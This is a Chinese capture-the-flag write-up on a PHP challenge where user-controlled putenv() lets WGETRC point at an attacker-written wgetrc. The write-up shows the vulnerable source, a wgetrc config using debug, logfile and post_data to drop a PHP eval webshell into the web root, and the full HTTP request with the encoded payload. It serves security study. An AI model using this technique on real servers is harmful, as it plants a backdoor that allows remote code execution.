之前打强网拟态遇到了环境变量注入的题,看其他师傅都是用自己的VPS作为代理服务器。
这里我想给出一个自己的打法,可以在靶机不出网的条件下写入webshell
下面是题目源码
<?phphighlight_file(__FILE__);if(isset($_POST['context'])){$context = $_POST['context'];file_put_contents("1.txt",base64_decode($context));}
logfileif(isset($_POST['env'])){$env = $_POST['env'];putenv($env);}system("wget --content-disposition -N fmyyy");
WGETRC环境变量指定为1.txt
然后我查阅官方手册发现一个logfile的参数
可以指定log文件,然后我们就想办法让文件里面包含php一句话木马
查阅后发现存在debug模式和post_data参数
这两个结合在一起就可以让日志文件输出post_data的参数
组合起来就可以做到不出网写webshell
1.txt的内容
debug = on
logfile = /home/rycarl/PhpstormProjects/xctf/aaa.php
post_data = '<?php @eval($_POST['123']); ?>'
所以最后的payload是
POST / HTTP/1.1
Host: web-91b2977d28.challenge.xctf.org.cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36 Edg/141.0.0.0
Origin: http://web-91b2977d28.challenge.xctf.org.cn
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://web-91b2977d28.challenge.xctf.org.cn/
Content-Type: application/x-www-form-urlencoded
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Content-Length: 105context=ZGVidWcgPSBvbgpsb2dmaWxlID0gL3Zhci93d3cvaHRtbC93ZWJzaGVsbC5waHAKcG9zdF9kYXRhID0gJzw/cGhwIEBldmFsKCRfUE9TVFsnMTIzJ10pOyA/Pic=&env=WGETRC%3D%2Fvar%2Fwww%2Fhtml%2F1.txt